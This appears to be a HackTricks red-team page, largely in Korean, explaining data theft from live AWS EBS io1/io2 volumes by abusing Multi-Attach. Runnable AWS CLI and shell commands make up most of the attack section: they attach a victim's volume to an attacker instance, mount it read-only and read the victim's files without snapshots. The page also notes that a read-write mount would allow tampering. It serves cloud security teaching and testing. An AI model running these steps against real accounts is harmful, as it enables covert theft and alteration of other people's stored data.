AWS - Live Data Theft via EBS Multi-Attach

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

요약

공격자가 제어하는 동일한 Availability Zone (AZ) 내 인스턴스에 동일한 볼륨을 연결하여 EBS Multi-Attach를 악용해 라이브 io1/io2 데이터 볼륨을 읽습니다. 공유 볼륨을 읽기 전용으로 마운트하면 snapshots를 생성하지 않고 사용 중인 파일에 즉시 접근할 수 있습니다.

요구사항

  • 대상 볼륨: 공격자 인스턴스와 동일한 AZ에 생성된 io1 또는 io2로, --multi-attach-enabled로 생성되어야 합니다.
  • 권한: 대상 볼륨/인스턴스에 대해 ec2:AttachVolume, ec2:DescribeVolumes, ec2:DescribeInstances.
  • 인프라: Multi-Attach를 지원하는 Nitro 기반 인스턴스 유형 (C5/M5/R5 계열 등).

참고

  • 손상 위험을 줄이고 저널 재생을 피하려면 -o ro,noload로 읽기 전용으로 마운트하세요.
  • Nitro 인스턴스에서는 EBS NVMe 장치가 안정적인 /dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol... 경로를 노출합니다 (아래 헬퍼 참조).

Prepare a Multi-Attach io2 volume and attach to victim

Example (create in us-east-1a and attach to the victim):

bash
AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)

# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf

피해자 시스템에서 새 볼륨을 포맷/마운트하고 민감한 데이터를 기록합니다(예시):

bash
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync

공격자 인스턴스에 동일한 볼륨 연결

bash
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf

attacker에서 읽기 전용으로 마운트하고 데이터 읽기

bash
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt

예상 결과: 동일한 VOL_ID에 여러 Attachments (victim과 attacker)가 표시되며, attacker는 snapshot을 생성하지 않고 victim이 쓴 파일을 읽을 수 있다.

bash
aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
도움말: 볼륨 ID로 NVMe 디바이스 경로 찾기

Nitro instances에서는 볼륨 ID를 포함하는 안정적인 by-id 경로를 사용하세요(vol 뒤의 대시를 제거):

bash
VOLNOHYP="vol${VOL_ID#vol-}"
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...

영향

  • 즉시 타깃 EBS 볼륨의 라이브 데이터에 snapshots를 생성하지 않고 읽을 수 있다.
  • 만약 read-write로 마운트된 경우 공격자는 피해자 파일시스템을 변조할 수 있다(손상 위험).

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기